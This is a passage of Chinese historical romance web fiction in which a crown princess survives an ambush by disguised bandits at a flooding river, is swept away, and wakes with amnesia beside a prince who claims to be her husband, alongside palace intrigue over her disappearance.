傅棠梨不耐地瞥了赵元嘉一眼,敷衍地安抚他:“休得啰嗦,听我的,两头都不误,为你挣一个贤明仁爱的好名声,何乐而不为呢。” 赵元嘉和傅棠梨数次争执,数次均处下风,如今在她面前颇有几分气短,当下嘀咕了两句,又哼了一声,勉强表示默认了。 外头的动静太大,把林婉卿也惊动了,她闻得太子即将返回长安,怎肯落下,便闹着要一道跟上。 赵元嘉心疼她,温言道:“外头雨大,我们要赶夜路,你和二娘不同,本来就柔弱,如今又拖着重身子,何必随孤奔波,你对母后的孝心我知道了,孤看你还是明日再走为宜。” 林婉卿又开始抹眼泪:“殿下这一走,把侍卫都带走了,独留我在这里,听说最近咸阳有流民作乱,若是闹将起来,没人护我周全,伤了我事小,伤到殿下的子嗣那就罪过大了,总之我不依,殿下去哪里,我也去哪里,您别丢下我。” 她黏黏糊糊地缠了许久,赵元嘉在她面前耳根子素来很软,不好拒绝,他偷偷地觑探了一眼他的太子妃。 傅棠梨坐在哪里,袖着手,神情冷淡,对林婉卿视若无物。 赵元嘉当即拍板,带上林婉卿一起走,于是乎,加上服侍的仆妇和太医,马车多了几辆。 …… 半个时辰后,太子并太子妃及东宫诸人出了咸阳南城门。 雨下着,一点都没有停歇的迹象,松节油的火把点燃在黑夜中,被雨水打着,发出“噼噼啪啪”的声响,一行人簇拥着赵元嘉到了渭河南岸。 河面宽广,连日的暴雨让水位急剧上升,湍急的水流不断冲击着河岸,发出巨大的“哗啦哗啦”的声响。 民夫们正在摸黑干活,眼看着河水渐渐涨上来,若不一鼓作气把堤坝堵上,待到天亮,河水又要把先前的土方冲开了,连县衙的衙役并县丞等人都被何县令打发过来干活了,可见事态之紧急。 上百人打着火把,将这一处河岸照得通亮,十几个人替太子撑着伞,先头的仆从们抱着一卷卷草席,从太子下车处一路铺到堤坝上,以供太子踏足,大群士兵拱卫着太子,走上了堤坝。 何县令站在太子身后,高举双手,大声地向民夫和监工的小吏们呼喊着什么,少顷,只听得民众们轰然应诺,声音穿透了雨幕,透出一股激昂之气。 东宫的女眷并从属在河岸稍远处等候。 只因车队中多了一个孕妇,不能走得太急,傅棠梨也无需再骑马赶路。她巳时从长安出发,至夜方到咸阳,人和马都已经疲惫不堪,桃花马留在了咸阳官邸中,而她坐在马车里,顺便歇着,此时听见外面的叫喊声,便挑开车帘子,望了出去。 雨打在脸上,格外冰冷,河岸上喧闹杂乱,而远处依旧是一片漆黑,风呼呼地吹着,岸边的树林和灌木丛摇摆不定,好似有什么野兽躲在夜里,喘着粗 气,不怀好意地注视着这边。 她觉得心里有些不太踏实,刚想开口命人去唤赵元嘉回来,却听见林婉卿的声音传了过来。 “太子妃既然把太子哄上堤岸,怎么不跟过去瞧瞧?敢情你只是动动嘴皮子,就能给自己挣个好名声。”林婉卿乘坐的是太子的车驾,就停在傅棠梨的马车旁边,此刻林婉卿也挑起帘子,露出半张脸,看着傅棠梨,目光充满嘲讽。 傅棠梨根本不想和林婉卿说话,对左右吩咐道:“把这个晦气玩意给我撵开些,别叫我瞧见她。” 虽然林承徽很受太子宠爱,虽然太子和太子妃并不亲近,还屡屡争执,……种种虽然,但东宫的众人们还是从心底觉得,太子妃才是东宫正经的女主人。 立即有宫人过来,默默地把林婉卿坐的车驾拉到远处去了。 林婉卿挑衅不成,反讨了个无趣,悻悻然把帘子摔下了。 过片刻,赵元嘉装够了场面,下了堤坝,朝这边走回来,犹自抱怨道:“看,无甚大碍,那县令庸人自扰……” 忽然听得太子身边的东宫卫率齐乘风大声喝道:“什么人在那边?太子在此,尔等速速退避!” 原来不知道何时,河岸边冒出了一大群人,趁着夜色渐渐朝着这边逼近,火把的光在雨中摇曳不定,隐约看见这群人衣裳褴褛,在这大冷的天气里袒露着胳膊和胸膛,在狼狈中透出凶狠的意味。 他们听见了齐乘风的呵斥,其中有几个人粗着嗓子回应道:“我等皆是郑州人士,就是来找太子的,请太子为我们做主。” 他们这么说着,脚步不停,反而加快朝这边过来。 赵元嘉一听“郑州”二字,眉头皱了起来:“莫非是郑州的流民?何县令怎么管辖咸阳的,竟容流民聚集在此,轰他们走。” 傅棠梨转头瞥了一眼,本能地觉察出不对来,她的脸色变了,厉声吩咐左右:“快,离开这里!” 但已经来不及了,那群流民的首领发出一声唿哨,河岸的灌木丛中、岩石后面、树木旁边,倏然涌出了大批黑黢黢的人影,飞速地朝这边奔了过来,他们的手里持着利刃,在夜色里发出冰冷的寒光,掠起森然杀气。 齐乘风抢前几步,护在赵元嘉身前,大吼道:“小心,保护太子殿下。” 侍卫们听命,纷纷拔出刀,将赵元嘉围在中间。 民多畏死,堤坝上的民夫见此情形,也顾不得何县令了,马上丢了手中的活计,四散逃窜而去,一片乱哄哄的。 齐乘风面上强作镇定,心里却叫苦不迭,太子此来咸阳,不过是办一桩小差事,自然不曾带得重兵,这时候守护在太子身边的,连同太子妃带来的侍卫,也不过三五百人,而那些所谓流民,乍一看,黑压压的一片,还在不停地冒出来,也不知有多少人。 这哪里像流民?身手矫健,气势凶悍,倒像是行动有素的军队一般。 太平盛世,京都附近,生出如此变故,朝廷及当地官员居然毫无察觉,岂不令人惊骇,此刻,齐乘风手脚发凉,生出了一种近乎绝望的慌乱。 持械的流民扑到近前,一个个如同恶狼一般砍杀过来,很快和东宫侍卫战做一团,刀剑交鸣的声音、厮杀时呼喝的声音,一起混杂在雨中。 就在这紧要关头,那边的林婉卿大声惊叫了起来:“太子,太子,快来救我。” 却是有几个流民朝着女眷们乘坐的马车杀了过去,而那边的侍卫只有寥寥几个,急得林婉卿魂飞魄散,拼命呼救。 赵元嘉望了过去,明显犹豫了一下。 齐乘风把一柄长剑挥舞得呼呼作响,左右招架,他率领众侍卫抵抗,以寡敌众,十分吃力,除了眼前的太子之外,已经无暇顾及其他人。 刀光剑影划破在夜色和雨幕,血水溅了起来。 林婉卿惊恐地大哭,拼命地朝赵元嘉的方向伸出手:“太子,救救我、救救我们的孩子,您不疼我了吗?太子!” 众流民听到这番话,反而兴奋起来,越来越多人朝林婉卿那边冲过去。 “太子!救我!”林婉卿发出一声凄厉的叫喊。 赵元嘉终于无法忍受,他咬紧牙关,匆匆朝傅棠梨这边看了一下。 夜色很浓,火光在雨中剧烈地跳动,看过去,一切都显得那么凌乱。 赵元嘉和傅棠梨的目光碰触到一起,而后,他飞快地把眼睛转走了,不敢再多看她一眼。 林婉卿方才被傅棠梨赶开了,此刻两辆马车的距离很远,对于赵元嘉来说,他只能顾一头。 傅棠梨看懂了赵元嘉的眼神,她倏然睁大了眼睛,心脏缩紧,浑身发寒。 赵元嘉调转方向,朝着林婉卿飞奔而去,大声喊道:“孤在这里,卿卿莫怕。” 众东宫侍卫紧紧跟随太子而去,抵挡着流民们不要命的进攻,不停地有人倒下,发出痛苦的哀嚎声。 傅棠梨身边只留下十几个近侍,相顾失色,瑟瑟发抖,而那群如同匪徒的流民已经冲杀过来。 傅棠梨咬紧牙关,从发髻上拔下了一支金簪,悄悄地握在手里。手心都是汗,湿漉漉的。 近侍们哪里是那些匪徒的对手,寡不敌众,不过几息工夫,就被砍倒在地,连车夫也被一个赤膊大汉一脚踹了下去。 那大汉嘿嘿一笑,一把扯开了车帘子。 他看见了傅棠梨,“嘿”了一声,露出了贪婪的神色,伸手朝傅棠梨抓去,大笑道:“真是捡到宝了,兀那娘子,来,随我来,我保你快活。” 身后那些同伙们挥舞着兵器,发出了鼓噪的、不怀好意的声音。 傅棠梨不避不让,任由那大汉抓住了她的衣袖,她甚至顺势靠近过来,微微地笑了一下。 她容貌昳丽,风姿明艳,在夜色里,那一笑盛似春光。 那大汉情不自禁呆了一下。 傅棠梨倏然扬起手,神情转为刚烈,握着簪子,又快又准,狠狠刺入那大汉的一只眼睛,一转、一拔,一颗破裂的眼珠子被甩了出来,带起一长串血珠。 大汉猝不及防,疼得钻心,他发出扭曲的嗥叫声,捂住了脸,踉跄后退,从车上摔下。 傅棠梨敏捷地从车厢跳到鞍座,一手抓住车辕,一手抓着簪子朝马屁股扎了一下。 拉车的那匹大马猛然仰起了蹄子,“咴咴”大叫。 流民们怒喝着,持刀要冲过来,那匹马吃疼,陷入癫狂,一蹄子把前面的人统统踢翻,狂奔了出去。 但是,还未跑出几丈,一群人从旁边窜了出来,他们的装束整齐,手里统一持着长刀,与那些流民不太相同,动作果断,透着狠毒的戾气,面对惊马,镇定自若,其中两人俯身一滚,持刀斩向马腿。 “咯擦”一下,前面两条马腿被齐齐斩断,马儿发出痛苦的鸣叫,一头栽倒下去。 马车倾覆,傅棠梨跳车不及,从车上摔了下来,跌落泥泞,翻滚了几下才停住,肩膀一阵剧痛。 豆大的雨点劈头盖脸地砸下来,仿佛要把人生生砸在地上,招架不住。 一个匪徒扑了过来,举起长刀,朝傅棠梨当头劈下。 她仰面倒地,挣扎着来不及起身,只能眼睁睁地看着刀锋迎面而来,瞳孔收缩,心跳骤停,无从躲避。 一道闪电从天际掠过,照亮了渭河南岸,如同金蛇狂舞,露出獠牙,把整片夜幕撕成两半。 玄黑色的长//枪呼啸而来,横向贯穿了那个匪徒的头颅,去势不歇,继续飞了出去,那股力道过于强悍,把他的头颅整个绞碎了,他的五官还保持着狰狞的形态,四散破裂,热乎乎的脑浆洒下来,溅到傅棠梨的脸上。 傅棠梨惊恐地尖叫起来。 惊雷响起,轰轰隆隆,从远处滚滚而来,黑色的战马随着那道闪电一起飞跃而来,马背上的骑士英武宛如山岳,挟带着雷霆霹雳的气势,策马狂奔。 黑压压的重甲骑兵跟随在他的身后,战马的铁蹄震动了河岸,岸边的沙石簌簌滚落。 那群匪徒未能分辨来的是哪方人马,犹想做困兽之斗,他们集结成阵,迎上骑兵的扑击。 赵上钧一马当先,他长//枪已经脱手,一把抽出了腰间的横刀,俯身挥臂,横扫而出,森冷的刀锋划破空气,风声历历,因为过于快速而留下银色的残影,不论是兵器还是人的身体,如同裁开单薄的纸张,发出一种干脆利落的断裂声。 血液飞洒而起,天落下了红雨。 他踏平一切障碍,飞奔到傅棠梨的身边,跃下马背,扑过去,抱住了她。 闪电一道接一道,不断地划过,天上与人间的浮光掠影混杂在一起,周遭颠倒混乱。 身后大队骑兵策马过来,和匪徒们交战在一起,不,其实只是单方面的屠戮而已,那是淮王亲卫虎骧营,玄甲军中最精锐的战 士,对这群匪徒的砍杀,如同收割稻子一般,刀刃过去,成片成片地倒下。 战马高大,骑兵们拱卫在淮王周围,他们战斗的身影拦住了旁人的视线。 血光四溅,肢体横飞,怒吼声和惨叫声混合在一起。 赵上钧紧紧地搂住傅棠梨,那么用力,勒得她胸口都疼了起来。 “玄衍……玄衍……”她的脸上都是水,仰起头,喃喃地念他的名字,她在忽明忽暗的闪电中望向他,连目光都变得支离破碎。 他低下头,急促地寻找她的嘴唇,粗鲁地吻她,乌木的香气是苦的,和着铁锈味的雨水,把她浇得湿透了。 他的舌头缠绕过来,他强悍如铁石,但他的嘴唇和舌头都是柔软的。 傅棠梨不知道自己为什么能这么狠心,她用力地咬住了他的舌尖,把他咬出血来。 赵上钧闷哼了一声。 傅棠梨使劲推开了他。 他盯着她,深沉的夜幕下,他的眼眸染着方才的血色,像是饥饿的野兽,想要把她吃下去。 傅棠梨摇了摇头,艰难地吐出一个字:“不……” 近乎叹息,淹没在滚滚雷声中。 赵上钧笑了一下,那是一个温存的、安抚性的笑,他松开傅棠梨,竖起手指,抚过自己的嘴唇,做了一个噤声的动作:“嘘。” 只能偷偷的。 …… 这场战斗是没有悬念的,虎骧营的骑兵将那群流民基本斩杀殆尽,连四下逃窜到远处的那些漏网之鱼,也被他们骑马追上,砍下了头颅,渭河南岸都被染红了,雨水冲刷到河里,带着血腥的味道。 赵元嘉惊魂未定,带着人过来,跌跌撞撞的,还是齐乘风扶了他一把。 东宫侍卫死伤过半,连齐乘风的身上都是血糊糊的,赵元嘉倒是毫发未损,他看到赵上钧,几乎感动得要落泪,几步抢着过来:“皇叔、皇叔、多亏皇叔来了,不然今日吾命休矣!” 林婉卿挨在后头,脸色苍白,摇摇欲坠,全靠一边的宫人搀扶着她,她对淮王心怀畏惧,躲在赵元嘉的背后,不敢冒头。 赵上钧穿着一袭道袍,并无一丝慈悲意味,雨水落在他的身上,反而流露出一种淋漓尽致的煞气,他掏出帕子,仔细地拭擦他的横刀,对赵元嘉的话并无反应。 两个玄甲军士兵将淮王的长//枪拾了回来,跪在淮王面前,双手抬枪,高举过头。 赵上钧丢了帕子,“锵”的一声,收刀回鞘,冷冷地扫了一眼赵元嘉,语气冷漠:“千金之子,坐不垂堂,太子不知书否?” 赵元嘉讪讪地道:“二娘自长安来,报母后病危,孤心急如焚,才失了分寸。” 傅棠梨已经起身,沉默地站在一旁,此刻,她披散着头发,袖子撕破了半幅,裙裾上淌着污黑的泥水,一身狼狈,但她的腰肢依旧挺得笔直,垂手而立,姿态端庄,面容沉静,闻言微微低了头。 赵上钧的目光转了过去,声音低沉而冷肃:“太子妃擅做主张,挑唆太子深夜出行,今夜,若我救护不及,你可知是何等后果?” 他本就威严,说这话的时候,仿佛带着了极大的怒意,到后面,简直声色俱厉,连玄甲军骑兵都颤栗不敢动弹。 赵元嘉打了个哆嗦,嘴巴张了张,又闭紧了,一声不吭。 傅棠梨低声道:“圣上有命,请太子归,不敢有违。” 赵上钧毫不客气地打断了她的话,厉声道:“请太子归,今日归、明日归,有何分别?不分轻重,不知缓急,由你一念错,险些命丧于此,还不知罪!” 他直直地看着她,眼眸漆黑如同夜色,在这场淋漓的大雨中,那种目光只有她看得懂。 傅棠梨苦笑了一下,俯首道:“是,儿莽撞,知罪了,皇叔息怒。” 赵元嘉实在不忍,讪讪地道:“不全怪二娘,只因她对孤一片赤诚,关心则乱罢了。” 傅棠梨缓缓地走到赵元嘉面前,面无表情地看着他。 赵元嘉心虚不已,陪着笑脸,真诚地道:“二娘、二娘,幸好你没事,若不然……” 话未说完,傅棠梨突然抬起手,使劲扇了他一记耳光。 “啪”的一声,极为清脆。 她的力气还是很大的,赵元嘉被扇得眼冒金星,他完全无法相信,睁大了眼睛,呆滞住了。 左右赶紧退后一步,齐刷刷地垂首闭目,当做不曾看到。 “殿下!”只有林婉卿啜泣着,扑了过来,“您疼不疼?” 赵元嘉这才感到脸上一阵火辣辣的疼,他怒不可遏,一把推开林婉卿,几乎跳脚:“傅二娘!你好大的胆子!” “我不分轻重,不知缓急,险些命丧于此,是为了什么?是为了谁?”傅棠梨的踏前一步,逼视赵元嘉,“太子殿下,你就是这样回报我的吗?” 她站在大雨中,浑身湿透了,雨水从脸上不停地流下来。 赵元嘉的怒气瞬间瘪了下去,他想起方才的情形,脸上那种火辣辣的感觉更明显了,他摸着脸颊,含含糊糊地道:“罢了,孤不和你计较……” “啪”,傅棠梨毫不客气,换了一边手,又扇了赵元嘉一记耳光,丝毫不比刚才的轻。 赵元嘉被扇得摇晃了一下,林婉卿赶紧又扶了他。 他晕头转向,气得脸色发黑,指着傅棠梨,手都发抖:“傅二娘!你别得寸进尺!你屡屡对孤放肆,别以为孤会由着你张狂,孤总有一天、总有一天……” “总有一天要如何?”傅棠梨毫不示弱,直视赵元嘉,她从来不是娇柔的女子,她的目光明亮,透着不可转圜的倔强,“你要将我处死吗?我方才算是死过一回了,我不怕!这两个巴掌,是你欠我的,当下就得还!” 她这么说完,掉头走开,自顾自地坐上了一辆尚是完好的马车,用平静的语气对车夫道:“走,回长安,我等着太子殿下来发落我。” 她的声音传过来,听得清清楚楚,赵元嘉的脸上青一阵、红一阵,对傅棠梨既有愧疚、又有愤怒,两种情绪不断交替袭来,令他无所适从,只能顿足恨道:“不可理喻!不可理喻!” 车夫看了看太子的脸色,缩着脑袋,拉动马匹的缰绳,驱车前行,几个近侍急急跟上。 赵上钧冷眼旁观,直到此时,才发出了“呵”的一声轻笑,这种声音似鄙夷、又似愉悦,眼下没人能分辨淮王殿下的意味。 他从属下手中接过长||枪,随手一挥,带起一道幽深的寒光,提枪上了马。 赵元嘉恨恨的,板着脸命众人收拾一番,也坐上了马车,准备离开此处。 那边的何县令哭丧着脸,和手下的衙役们扯着嗓子呼喊民夫回来,这时候,也无人顾及堤坝了。 天好似破了一般,雷电交加,一阵紧似一阵,河水冲刷着堤岸,“哗哗”的水声充斥在天地间,吵得人心浮躁。 傅棠梨的马车在雨中晃晃悠悠地行了一小段,前方堆积着流匪的尸体,横七竖八地叠在那里,阻住了道路,马夫拨转马头,试图从旁边绕过去,但是,夜太黑,他没有察觉到,马车已经太过靠近河岸。 拉车的马有些胆怯,逡巡不前,车夫急了,扬起马鞭,用力抽了一下:“驾!” 马儿撒开蹄子,加快跑了几步。 猛然,“轰隆”一声响,河水冲破了豁口,扑上堤坝,腾起一人多高的浪头,涌了过来。 太子妃的马车恰恰经过,被那巨浪一冲,车和马都被打倒在地,车夫跌了下来。 傅棠梨在车里被撞得整个人都翻滚起来,她慌乱地抓住了车窗的框子。 堤坝不断崩落,大块大块的石头和着泥沙翻滚着、塌陷着,马车随着土石一起朝河道滑落,马儿惊恐地刨动动四蹄,发出凄惨的“咴咴”鸣叫。 跟在后面的近侍尖声大叫:“太子妃!太子妃!” 赵上钧霍然回首。 闪电划过,河中的一切纤毫毕现,大浪滔滔,泥沙滚滚,马车落入河中。 “梨花!”赵上钧发出嘶哑的吼叫,而此时惊雷响起,淹没了他的声音。 他发了疯一般,朝河岸打马飞奔而去,在还未到达的时候,从马背上腾空而起,扑入河 中。 就如同曾经那样,试图抓住她、试图抱紧她。 但这次没有来得及。 马车被巨浪裹挟着,迅速冲向河中央。远处漩涡翻动,河水澎湃,如同虚空中的巨兽张开大口,吞噬一切。 傅棠梨随着马车在水中颠倒滚动,什么也看不见,无尽的黑暗中,河水汹涌而来,像造物者的巨手掌控她,把她抛上半空,又重重地砸下,令她惊恐、眩晕、以至于窒息,她几乎失去了意识,只是凭借着最后一点本能,用尽全身的力气,双手死死地抓着车窗,手指都快要断掉。 好像有人在呼喊她,声嘶力竭。雷声太大,震耳欲聋,唯有此时,他能这样呼喊她,不忌讳叫人听见。 一个巨浪打来,车厢终于四散裂开,傅棠梨再也抓不住车窗,被浪潮甩了出去,车辕从上面砸下来,撞上她的头部。 剧烈的疼痛几乎让傅棠梨觉得自己快要死掉了。 而这时候,她模模糊糊地看见了那个男人的身影,在滔滔河流中、在混沌黑暗中,朝她扑过来,拼命向她伸出了手。 仿佛只是一个错觉,水中的一切都是颠倒错乱的,那个距离,可望不可即。 —————————— 傅棠梨觉得自己做了梦,一个很长、很怪异的梦。 她看见远处山林覆盖着白雪,有仙人立于山巅,长衣广袖,风华清绝,遥遥地望着她,冰冷的风扑面而来,带着乌木苦涩的香气。 她不敢向前,云端不可及,大抵是不该去的地方,她畏惧着,转身离开,朝着相反的方向狂奔而去,心很乱,步子很急,渐渐步入黑暗,倏然,汹涌的河水冲了过来,一下子把她卷入河底。 她惊慌失措,努力挣扎着,还是被河水压下去,压到河底,河水灌入口鼻,无法呼吸,胸口好闷,快要裂开了。 在灭顶的绝望中,仙人降下山巅,朝她摊开双臂,他的身形那么高大,他的手臂那么有力,唯有他的面容,模糊不可捉摸,似是故旧、又似是陌路,分辨不清。 溺水的人看见浮木,心之所向,她拼命伸出了双手,想要叫他的名字,就在嘴边,怎么也说不出口,叫什么?该叫他什么呢? 她心里想着,一直想不出来,很着急,急得快要哭出来了,倏然大叫了一声:“啊!” …… 傅棠梨满头大汗,怵然睁开眼睛。 烛光朦胧,如同流水,在床幔和帘帐间逶迤缠绕,窗外或许有雨,雨落在阶下的声音,像春蚕啃食桑叶,轻而静谧。 一个男人坐在床头,他的身形过于高硕,阴影笼罩下来,让烛光显得更加昏暗,恍惚间,有些看不真切,如同……梦中一样。 “梨花……梨花、你终于醒了!”,他的声音几乎是沙哑的,喘息着,似乎这短短的几个字已经费劲了他所有的力气。 傅棠梨的脑子里面好像蒙着一团白雾,透过白雾看过去,眼前的情景一片迷离,宛如虚空生成,叫人不可捉摸,她眨了眨眼睛,一点一点地伸出手去,想要触碰些什么,试探这一切是否还是梦境。 头部一阵剧痛,像是无数钢针刺了进来,把她的脑海搅得七零八落,她痛苦地呻吟了一声,手抬到一半,又无力地垂下。 他飞快握住了她的手腕,轻轻地、把她的手贴在自己脸上,带着雨的、潮湿的烛影中,他目光温存,仿佛叹息一般,再一次唤了她:“梨花……” 他唤得那么小心,像是怕惊扰到她,而雨声杂乱无章,傅棠梨疑心自己听错了。 她迟疑着,手指蜷曲了一下,又张开,指尖抚摩过他脸,他眉眼深邃,鼻梁高挺,唇线刚毅,五官轮廓英挺而俊逸,无一处生得不好,容貌近乎完美,他望向她的那双眼睛,就如同被雨水所浸透的夜色,深沉如墨,却是柔和的。 原来已经不是梦了。 她困惑了:“梨花……是谁?嗯,我是谁?你又是谁?” 男人遽然睁大了眼睛,他平日大抵是个冷静的人,此时没有一丝颤动,只是身体绷得紧紧的,像是一张弓,骤然拉满,一触即发。 第56章 第56章我是玄衍,我是你的夫君…… 傅棠梨觉得惶恐起来,她吃力地把手抽回来,茫然地看了看四周。 夜正深,竹帘低垂,帘影参差,小轩窗畔一盏灯,素案上点着一炉香,香屑已大冷,此间唯有彼此二人。 她努力地想了想,想要寻回一点旧日的印象,但是不行,一根筋抵在后脑勺,突突地跳着,一旦思索起来,就疼得厉害,无数浮光掠影的碎片闪过去,来不及捕捉,又似烟花般,须臾就散了。 她疼得受不了,痛苦地抱住了自己的头,发出急促而破碎的声音,带着一点儿哭腔:“我是谁?你是谁?我怎么记不起来了?” 男人的面上露出了一种无法形容的表情,那一瞬间,似是大喜、又似是大悲,他猛然抱住了傅棠梨,抱得紧紧的,他那么用力,以至于勒得她骨头都发疼,但是她太过虚弱了,挣脱不得,只能任凭他那样抱着,完全掌控着她。 “我是玄衍,你的夫君,梨花,你怎么会……怎么会忘了我呢?”男人的气息炙热而急促,她的耳鬓边低低地这么说着。 他强硬而温柔,他的身体是炙热的,属于男人的味道覆盖上来,白梅花的气息,带着一点乌木的苦,让她想起空旷的山林中,信灵者焚起敬神的香,高远入云端。 这种味道是那么熟悉,像是过往的无数个日日夜夜,一直都萦绕在她身畔,那一瞬间,让她生出了莫名的安心、以及一股没来由的委屈。 傅棠梨用额头在他胸口蹭了蹭,她的脑袋很疼、很沉,无法去思索太多,她再次疲倦地阖上眼睛:“……嗯,我名叫梨花吗?” “是,你是我的梨花,你是我的了……”他如是回应着,说得很慢、很慢,带着一种宛如喘气般、咬牙切齿的意味。 窗外的雨落下,一点点细碎的声音,宛如私底下的喁语,不可诉诸人前。 —————————— 香炉中燃着迦南沉木,蹲踞的饕餮巨兽仰头张开大口,吐出一团团浓郁的烟雾,龙座之上,金壁雕着五爪的翔龙,在团云中探出头来,烟雾拂过,宛如活过来一般,怒目圆睁,似要择人而噬。 元延帝高坐含元殿上,眉头紧锁,注视下方:“因咸阳流民之事,有御史上书,你罔顾人命,肆意杀戮,有伤天和,五郎,你作何解释?” 赵上钧站在那里,一袭道袍,广袖深衣,神姿高彻,他的脸色还是苍白的,嘴唇近乎青灰,这让他看过去愈发显露出一种凡尘之外的疏离感,他的语气也是淡淡的:“夫流民者,皆匪也,若听之任之,祸患将延及四方,我今予以严惩,树朝廷之威,震慑其同党宵小,经此事,咸阳可高枕无忧矣,有何不妥?” 咸阳城外流民作乱,夤夜袭击太子,被淮王所获,尽数皆被斩杀,千余尸首叠成京观,呈于渭河岸边,引来老鸹与野狗无数,争食其肉,其状可怖,观者莫不栗栗,但在淮王口中,却是一句“有何不妥?”。 “五郎!”元延帝一向以仁爱治天下,此时忍不住大喝了一声,“你太过了!” 赵上钧面色不动,不过略微低头,以示恭敬。 “那个工部营缮所的官员呢?他又所犯何罪,你要将他曝尸于城楼?”元延帝强忍着怒气,追问道。 工部营缮所有一小吏,随太子前往咸阳修缮水利,流民作乱之时,不知因何毙命,身死后,淮王命人将其大卸八块,四肢、躯干及头颅分别悬挂在咸阳南门城楼上,供往来百姓观看,工部官员皆胆寒,尚书林商于御前痛哭流涕,求元延帝为其做主。 赵上钧闻言,不过一笑:“此蠹虫也,咸阳令诉其贪赃不义,中饱私囊,偷工减料,才令渭河堤坝崩塌,其人丧于贼手,身虽死,罪不灭,应示于众人前,以儆效尤。” 这个人,不知死在流民手中、还是死在淮王刀下,但这并不重要,区区一个小吏,并不值得元延帝为他费心,真正令元延帝忌惮的是淮王的行事做派。 “此人是否有罪,自有刑部为其定论,五郎不掌刑罚之权,何以擅主?”元延帝的声音压了下来,他面沉如水,一动不动地盯着赵上钧,等待着赵上钧的回答。 赵上钧咳了起来,咳得上气不接下气,艰难的喘息声在空旷的大殿中显得格外令人心惊。 几个老臣站在下首,互相对视了一眼,面色各异。 良久,赵上钧止住了咳 ,用暗哑的声音回道:“五郎岂敢逾矩,其人之死,非五郎所为,曝尸之举,亦为咸阳百姓所请,五郎顺手为之,陛下若以为不妥,叫人把他放下来就是,不是什么大事。”他微微地仰起脸,坦然直视元延帝,他的目光是温和的,一如往常,“陛下难道要为这个和五郎生气吗?” 元延帝沉默片刻,在袖中捏了捏手指,指节泛青,他面上忽又露出了担忧的神色:“没什么,朕只是担心你的身子,你不在道观中好好休养,又领兵出去打打杀杀的,只怕伤势又要加重。”他顿了一下,话锋一转,“对了,朕还未曾问你,此番太子遇难,幸而你及时赶到,却不知你此去咸阳何为?” “臣……”赵上钧方才出声,只听得殿外传来一声焦急的呼喊:“皇叔”,打断了他的话。 赵元嘉步履急促,从外面跑着进来,到了含元殿中,才觉得失仪,匆匆刹住步子,略整了整衣冠,随意地给元延帝行了礼,马上冲到赵上钧的跟前,一脸期冀之色,小心地问道:“皇叔,你把二娘救上来了吗?” 太子刚才皇后的未央宫出来,听闻淮王从咸阳归,立即跑了过来。 母后病危,太子妃落水失踪,这两桩事情交叠在一起,打击太过沉重,向来意气风发的太子此刻看过去显得十分憔悴,眼睑下面都是一圈青黑的颜色, 那天夜里乱糟糟的一团,渭河堤坝决口,众人恐再生不测,急急架着太子离开了,后来的事情如何,他无从得知,这两日心急如焚。这个时候,他只能眼巴巴地望着赵上钧,屏住了呼吸,希望能从赵上钧的口中听到自己想要的消息。 但是很遗憾。 赵上钧又咳了几声,拿出帕子,按了按嘴唇,上面隐约露出一点血迹,他用平常的语调回道:“前夜雨大、浪急,而臣重伤未愈,力所不逮,未在河中寻到太子妃。” 赵元嘉听罢,身体不由自主摇晃了一下,好似痴了一般,久久不能言语。 元延帝把目光从赵上钧身上收回来,转而看了看赵元嘉,颇感头疼:“朕已命咸阳县令及周边州府官员带人四处搜寻,或许再过几日,就会有太子妃的下落,你稍安勿躁,耐心等候便是。” “不……”赵元嘉的眼眶慢慢地红了,他大口大口地喘着气,“孤问过傅家的人,二娘……二娘她不识水性,皇叔当时就跳下河去了,如果、如果连皇叔也没有找到她,那她、她……” 后面的话,他说不下去了,他有些站立不稳,弯下腰去,试图捂住眼睛,颤声道:“是孤对不起她,孤还没来得及和她说、和她说……” 说什么呢?什么都没有用了,说不出的话,或许他这一生再也没有机会了,往日种种不满,如今都成了不可挽回,赵元嘉一念及此,心中大恸,情不自禁落下泪来。 元延帝心中不忍,急命人请太后来,抚慰太子,又命左右扶太子坐。 淮王似病体不支,当下不欲多言,告退去了。 临去前,他回首看了一眼,目光冰冷,如同那日他在河岸边,看着那堆死人一般。 —————————— 沈皇后时日无多,林贵妃俨然已是六宫之主,内侍总管趋炎附势,命人为贵妃修缮宫室,以蜀锦为毯,行走如覆花间,又以秦椒和金泥抹墙,使满殿馨香萦绕,芬芳和春住。 林贵妃却嗟叹,她在林婉卿面前毫不避讳:“古来椒房有多子多福之意,可惜,我圣眷虽浓,膝下却只得溧阳一个公主,卿卿,你这一胎务必生个男娃,待你成为太子妃,这孩子就是皇太孙,自己的血脉才靠得住,我们林家百年富贵系你一人之身,你可要争气些。” “想那么远的事情作甚?”林婉卿摸了摸自己的肚子,满是幽怨之色,“我刚刚有了身孕,太子就厌了我,爱理不理的,叫人无所适从。” 林贵妃不轻不重地打了林婉卿一下:“太子妃刚走,太子心里必然是难受的,哪有心情顾你。”她勾起嘴角,露出一个似笑非笑的神情,“男人呢,都是这幅德性,在眼前的时候不珍重,待到人没了,才想起人家好处来,要死要活的,啐,有什么用呢。” 说到这个,林婉卿惴惴不安,压低了声音:“娘娘,您说,傅二娘真的死了吗?她不会再回来了吧?” 林贵妃瞥了林婉卿一眼,对她这个愚蠢的问题有些不耐:“你不知道淮王素日的手段吗?你还活着,太子还活着,太子妃怎么可能死了?” 林婉卿先是不解,怔了一下,才慢慢明白了林贵妃的意思。 太子妃落河,淮王震怒,屠尽流民以堆砌京观,又将渎职的工部官员吊在城楼上示众,以他这性子,若太子妃已然殒身,估计连太子都免不了要被迁怒,哪能像眼下这般安稳。 林婉卿的心又揪了起来,愁眉苦脸地搓着手里的帕子:“那不是白欢喜一场,傅二娘未死,等她将来回宫,哪里还有我的位置,皇太孙什么的,都是浮云了。” “你放心,她回不来。”林贵妃轻描淡写地道,“淮王当时没把她送回来,定是金屋藏娇去了,怎么舍得把她还给太子,再说了,太子妃一个孤身女子,在外头流落许久,不清不白的,失了名节,来日就算她想回来,皇家也未必容得下她。” 林贵妃说得轻松,林婉卿却依旧担忧:“可是,若淮王不肯善罢甘休……” “没有什么肯不肯的。”林贵妃截断了林婉卿的话,挑了挑眉毛,笑吟吟地道,“淮王前段时日韬光养晦,连圣上都被他哄骗了去,这回因着傅二娘,又露了破绽,圣上对他起了十二分的疑心,你瞧着吧,他手上的权柄要被逐一收走,他自顾不暇呢,才没工夫搭理你。” 林婉卿琢磨着似乎有些不对的地方,但又说不上来,只好咽了回去。 —————————— 